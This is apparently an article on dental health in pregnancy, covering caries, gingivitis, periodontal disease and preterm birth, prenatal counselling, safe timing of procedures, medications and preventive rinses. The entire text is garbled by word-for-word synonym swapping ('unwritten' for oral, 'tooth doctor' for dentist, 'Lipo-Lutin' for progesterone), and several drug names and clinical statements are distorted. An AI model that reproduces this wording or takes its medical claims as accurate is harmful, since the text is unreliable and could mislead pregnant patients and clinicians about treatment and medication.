An increased prevalence of dental changes has been documented, including peculiarly cavities ( 99.38 % ) [ 2 ] . Pregnant adult females are at higher hazard of tooth decay for several grounds ; including increased sourness in the unwritten pit, sugary dietetic cravings, and limited attending to unwritten wellness. Untreated dental cavities can take to unwritten abscess and facial cellulitis. Pregnant patients should diminish their hazard of cavities by brushing twice daily with fluoride toothpaste and restricting sugary nutrients. Patients with untreated cavities and associated complications should be referred to a tooth doctor for unequivocal intervention. If the female parent ( infecting individual ) has high salivary mutans streptococci count, transmittal occurs through several day-to-day spit contacts between the kid and the female parent. The acquisition of mutans streptococci is suggested to happen during a distinct age interval: a â€Å" window of infectivity † between 19 and 31 months in which the proportion of kids with MS additions from 25 % to 75 % [ 8 ] . Numerous literatures have stated that both hapless nutrition and low birth weight are risk factors for the development of early childhood cavities ( ECC ) . ECC is an early arising, potentially lay waste toing and deadly signifier of dental cavities. It non merely does dentitions, but consequences in hurting, infection and damage of unwritten map which leads to malnutrition and lessened quality of life. Under- or malnourished babies and babies with low birth weight are at hazard for enamel hypoplasia ( uncomplete formation of enamel ) [ 9 ] . Enamel hypoplasia may do an irregular enamel surface or stain, which can ensue in countries more prone to cavities. Therefore, pregnant female parents should be advised to optimise nutrition during the 3rd trimester and the baby ‘s first twelvemonth, when the enamel is undergoing ripening. Pregnancy Oral Tumor: Pyogenic granuloma ( or pregnancy tumour ) seems to be common in the conceiving female population. Pregnancy unwritten tumours are vascular lesions caused by increased Lipo-Lutin in combination with local thorns and bacteriums. Lesions are typically erythematous, smooth, and lobulated ; they are located chiefly on the gum. The lingua, roof of the mouth, or buccal mucous membrane may besides be involved. Pregnancy tumours are most common after the first trimester, turn quickly, and typically recede after bringing. Management is normally experimental unless the tumours bleed, interfere with chew, or do non decide after bringing. Lesions surgically removed during gestation are likely to repeat [ 10 ] . Loose ( Mobile ) Teeth: Dentitions can loosen during gestation, even in the absence of gum disease, because of increased degrees of Lipo-Lutin and estrogen impacting the periodontium ( i.e. , the ligaments and bone that support the dentition ) [ 1 ] . For unsophisticated loose dentitions non associated with periodontic disease, doctors should reassure patients that the status is impermanent, and entirely it will non do tooth loss [ 11 ] . Gingivitis: Gingivitis is the most common unwritten disease in gestation in such state of affairss. It is redness of the superficial gum tissue. During gestation, gingivitis is aggravated by fluctuations in estrogen and Lipo-Lutin degrees in combination with alterations in unwritten vegetations and a reduced immune response, therefore cut downing the organic structure ‘s ability to mend and keep gingival tissue [ 12 ] . Thorough unwritten hygiene steps, including tooth brushing and flossing, are recommended. Patients with terrible gingivitis may necessitate professional cleansing and demand to utilize mouth rinses such as chlorhexidine. Periodontal disease: Periodontal disease is a destructive redness of the periodontium impacting many adult females of childbearing age. The procedure involves bacterial infiltration of the periodontium. Toxins produced by the bacteriums stimulate a chronic inflammatory response, and the periodontium is broken down and destroyed, making pockets that become septic. Finally, the dentition loosen. This procedure can bring on perennial bacteraemia, which indirectly triggers the hepatic ague stage response, ensuing in production of cytokines, prostaglandins ( i.e. , PGE2 ) , and interleukins ( i.e. , IL-6, IL-8 ) , all of which can impact gestation [ 13 ] . Elevated degrees of these inflammatory markers have been found in the amnionic fluid of adult females with periodontal disease and preterm birth compared with healthy control patients [ 14 ] . In one survey, research workers found minimum unwritten bacteriums in the amnionic fluid and placenta of adult females with preterm labor and periodontal disease [ 15 ] . It seems likely that this inflammatory cascade entirely prematurely initiates labors due to early uterine contractions. The mechanism is thought to be similar for low birth weight ; the release of PGE2 restricts placental blood flow and causes placental mortification and attendant intrauterine growing limitation [ 16 ] . PRENATAL Guidance Prenatal unwritten wellness reding for parents is an of import factor because infant unwritten wellness begins at this phase. The chief aim is to bring forth consciousness among parents about dental disease, its bar and the agencies to supply a suited environment for the kid to develop. Prospective parents need to cognize that antenatal appraisal and instruction are indispensable to the unwritten wellness of their kid. Prenatal appraisal includes unwritten wellness position of the parent. If the parents are at hazard, the tooth doctor should supply preventative intervention and educate them on good plaque control, followed by Restorations if required and discourse the transmissibility of Mutans streptococci from the female parent to the baby. Parents should be monitored on a regular footing to guarantee effectual unwritten hygiene and dietetic wonts have been established. Improvement of the female parent ‘s unwritten hygiene, diet and the usage of oral cavity rinses can hold a important impact on the kid ‘s cavities rate in the hereafter [ 17 ] . Anticipatory counsel: Anticipatory counsel is the procedure of supplying practical, developmentally appropriate information about kids ‘s wellness to fix parents for the important physical, emotional and psychological mileposts. Anticipatory counsel involves three types of undertakings: ( I ) assemblage information, ( two ) set uping a curative confederation, and ( three ) supplying instruction and counsel. General prevenient counsel for the female parent includes the undermentioned [ 18 ] , [ 19 ] : ( a ) Education refering development and bar of dental disease and besides presentation of unwritten hygiene processs. ( B ) Reding to instil preventative attitudes and motive. ( degree Celsius ) Supplying information to pregnant adult females about gestation gingivitis ( redness of the gum caused by an exacerbated response to dental plaque, related to hormonal alterations during gestation ) . With gingivitis, the gums become inflamed, conceited, sensitive and tend to shed blood. Signs of gingivitis may go apparent in the 2nd trimester and extremum during the 9th month of gestation. ( vitamin D ) Visiting a tooth doctor for an scrutiny and Restoration of all active decay every bit shortly as executable and to diminish opportunities of developing gestation gingivitis. ( vitamin E ) Eating healthy nutrients such as fruits, veggies, grain merchandises ( particularly whole grain ) , and dairy merchandises ( milk, cheese ) during repasts and bites. Limit eating between repasts. ( degree Fahrenheit ) Eating nutrients incorporating merely sugar at mealtimes, and restricting the sum. Frequent ingestion of nutrients high in sugar additions the hazard for tooth decay. In add-on, frequent ingestion of nutrients that easy adhere to the tooth surface, such as dried fruit and confect, increase the hazard for tooth decay. ( g ) Brushing teeth exhaustively twice a twenty-four hours ( after breakfast and before bed ) with fluoridated toothpaste and flossing day-to-day. ( H ) Rinsing every dark with an alcohol-free, nonprescription fluoridated mouth rinse. ( I ) Not smoking coffin nails or masticating baccy. DENTAL PROCEDURES DURING PREGNANCY Every pregnant adult female should be assessed for dental hygiene wonts, unwritten jobs ( e.g. , cavities, gingivitis ) , and entree to dental attention [ 11 ] . Conversely, inauspicious gestation outcomes, such as low birth weight, preterm birth, and pre-eclampsia, occur in adult females who have non received intervention. Good unwritten wellness during gestation is of import to the overall wellness of both anticipant female parents and their babes. Relevant information sing the type of dental intervention that can be undertaken may be summarized as follows [ 18 ] , [ 19 ] : First trimester: It is the most important period for growing of fetus. Merely exigency dental intervention should be undertaken in audience with the patient ‘s doctor when organogenesis is uncomplete. Second and 3rd trimester: Emergency every bit good as elected dental intervention can be provided. The 3rd trimester presents the extra jobs of positional uncomfortableness and the hazard of vein caval compaction. Prop uping a adult female on her left side, shifting frequently, and maintaining visits brief can cut down jobs [ 20 ] . Postponing dental attention until after bringing can be debatable because new female parents are focused on the attention of their neonates and may hold alveolar consonant insurance merely during gestation [ 13 ] . Plaque diet control plans are initiated for female parent throughout gestation. Screening and Prevention: Oral scrutiny should include the dentitions, gums, lingua, roof of the mouth, and mucous membrane. Patients should be counselled to execute everyday brushing and flossing, to avoid inordinate sums of sugary bites and drinks, and to confer with a tooth doctor. Status of and programs for unwritten wellness should be documented. Many tooth doctors are reported to be loath to handle pregnant adult females [ 21 ] . Physicians and tooth doctors can get the better of this state of affairs through instruction, clear communicating, and the development of ongoing collaborative relationships. Doctors can portion information on the safety of dental intervention in gestation with dental co-workers and supply clear referral recommendations. Diagnosis: Dental skiagraphy may be performed in gestation for acute diagnostic intents [ 22 ] . When possible, skiagraphy should be delayed until after the first trimester. Screening skiagraphy should be deferred until after bringing. Modern fast movie, turning away of retakes, and usage of lead aprons and thyroid shields all bound hazard. The teratogenic hazard of radiation exposure from unwritten movies is 1,000 times less than the natural hazard of self-generated abortion or deformity [ 21 ] . Medicines for Dental processs: Local anaesthetics such as Lidocaine ( Xylocaine ) and prilocaine ( Citanest ) mixed with adrenaline are safe for processs when dosed suitably [ 23 ] . Sedatives such as benzodiazepines ( e.g. , Versed ) , lorazepam ( Ativan ) and triazolam ( Halcion ) should be avoided. Azotic oxide is non rated and its usage in gestation is controversial [ 24 ] . Periodontic Therapy: A randomized controlled test of 870 adult females with pregnancy-associated gingivitis found that intervention ( ie, plaque control, grading, and daily rinsing with 0.12 % chlorhexidine ) and care ( ie, unwritten hygiene direction and manual supragingival plaque remotion every 2 to 3 hebdomads until bringing ) significantly reduced the preterm birth or LBW rate [ 25 ] . Renewing Dentistry: Amalgam, a mixture of 50 % metallic quicksilver and other metals, has advantages over other renewing stuffs ; nevertheless, there is concern that quicksilver can be released as vapor, ions, or all right atoms, which can be inhaled or ingested. Surveies and instance studies of amalgam exposure during gestation have non documented any toxicity, including birth defects, neurologic sequelae, self-generated abortions, or decrease in birthrate [ 26 ] . A longitudinal rating of renewing stuffs employed in a minimum renewing intercession attack of 81 high caries-active pregnant adult females demonstrated that extremely syrupy glass ionomer cement applied in a minimum intercession attack provided high-quality preventative and renewing attention. The complex was employed in pits exposed to lower emphasis, such as in the anterior dentitions [ 27 ] . Dental Extraction: Tooth extraction during gestation seems to be a common thing. The many hormonal alterations during gestation cause many pregnant adult females to hold jobs that they did n't hold before they became pregnant. One of the things that happen is that the gum is much more sensitive to annoyance. They swell, become inflamed, turn ruddy, bleed and are frequently painful. These reactions are to the plaque environing the dentition. It is really common to hold gum job around a wisdom tooth and the surrounding gums merely acquire more aggravated while a adult female is pregnant. This is the primary ground that tooth extraction during gestation is non an uncommon experience.A Of class, tooth doctors would prefer to avoid tooth extraction during gestation. However, the best involvements of the kid must be thought of excessively. A female parent that is in changeless hurting while transporting a kid is emphasizing out her organic structure. This is likely non healthy for the kid. A tooth extraction process nowadays is really soft and many patients are non even aware that their tooth has been removed. Root Canal Treatment: Many pregnant adult females are concerned about the effects of a root canal process to their fetus. Obstetricians suggest that it is best to avoid exposing the developing babe to any hazards, even if they are minimum. Unfortunately, it is non the same to prorogue a root canal intervention as it is to prorogue a dentition whitening process. If the tooth doctor recommends a root canal during gestation, the hazards are associated with: Pain: Dentition that need root canal therapy are normally accompanied by terrible odontalgia. Continuous hurting during gestation can be a truly nerve-racking status with potentially negative effects to the female parent and fetus. Infection: The conditions when a root canal is recommended during gestation ever affect tooth infection. If the infection is left untreated for a long clip, the infection can distribute throughout the organic structure doing terrible complications. This is a status that will set a gestation into important danger. A safer attack to a root canal intervention during gestation: Obstetricians consider the first trimester as the most important for the development of the fetus. Any non-emergency dental work in the 1st trimester should be postponed until the 2nd trimester, to avoid all possible hazards. If needed the tooth doctor can open an abscessed tooth to let drainage and hurting alleviation, and clean the mush country every bit good as possible. Subsequently, when gestation enters the 2nd trimester, an X ray can be taken to let the completion of the root canal intervention. The same process can be followed for a job during the 3rd trimester ; concluding intervention is postponed until after the birth, if possible. Management of Acute Dental conditions: If mild cellulitis is present, penicillin, Amoxil, and Keflex are sensible first-line antibiotics. Erythromycin base ( non erythromycin estolate, which is associated with cholestatic hepatitis in gestation ) or clindamycin ( Cleocin ) can be used in the type 1 hypersensitivity penicillin-allergic patient. For terrible cellulitis, the patient should be hospitalized and treated with endovenous Mefoxins or clindamycin. To pull off dental hurting, Datril is the drug of pick ; isobutylphenyl propionic acid and limited usage of oxycodone are appropriate [ 11 ] . PREVENTIVE METHODS Although a figure of non-invasive preventative intercessions, traditional wellness instruction remains the gilded criterion for presenting the message to promote parents to subscribe to these preventative intercessions. By â€Å" traditional wellness instruction, † which means advice-giving Sessionss conducted by professionals and/or the airing of information via booklets, postings and media runs. Unfortunately, such attacks are non effectual [ 28 ] . Weinstein & A ; co workers, after biennial consequences of controlled test suggested that motivational interviewing ( MI ) guidance has a positive consequence on kids ‘s dental wellness that is greater than that of traditional wellness instruction [ 29 ] . The antimicrobic intervention ( topical application of Na fluoride ( NaF ) and iodine solution instantly after prophylaxis and 3 and 5 yearss subsequently ) for the pregnant female parent, 6 and 12 months after bringing had greater influence by cut downing the acquisition of MS from the female parent to the kids [ 30 ] . Kohler et Al ( 1994 ) used chlorhexidine ( CHX ) in female parents with a high degree of MS in spit and found that there is a decrease in the MS degree of spit of the female parent and besides had a long-run consequence on the MS colonisation and besides on the cavities experience of the kid [ 31 ] . A 30 month survey to measure the effectivity of a cavities preventative government ( 0.05 % Na fluoride and 0.12 % chlorhexidine oral cavity rinse everyday during 6 months of gestation till 24 months after bringing ) showed promising consequences on utilizing combination of fluoride and chlorhexidine [ 32 ] , [ 33 ] . Fluoride is the most widely known and accepted anti-caries agent available, and chlorhexidine is the most widely used plaque-inhibitory compound33. These agents have wholly different mechanisms of action, and their combined disposal produces a synergic consequence on mutans streptococci [ 33 ] . Xylitol and chlorhexidine lower maternal unwritten bacterial burden and cut down transmittal of bacteriums to babies when used tardily in gestation and/or in the postpartum period. Both topical agents are safe in gestation and during suckling [ 34 ] . Surveies have used different dosing degrees, and the optimum dosage for consistent bar is ill-defined. Long-run usage of high-dose xylitol mastication gums had good effects on plaque pH, and that this consequence was statistically greater when utilizing xylitol masticating gums, both on plaque pH and MS salivary concentration [ 35 ] . Decision Dental intervention is indispensable for optimum unwritten wellness, which extends to pregnancy. Routine dental visits can include the usage of X raies, unwritten prophylaxis, Restorations, interventional interventions like root canal interventions, periodontic surgeries and extractions because utilizing local anesthetics during gestation have non been found to be associated with an increased hazard to the developing fetus. Conversely, inauspicious gestation outcomes, such as low birth weight, preterm birth, and pre-eclampsia, occur in adult females who have non received intervention. However, gestation is a clip when adult females may be more motivated to do healthy alterations. Gynecologists and doctors can turn to maternal unwritten issues, potentially cut downing the hazard of preterm birth and childhood cavities through unwritten disease bar, diagnosing, early direction, and dental referral.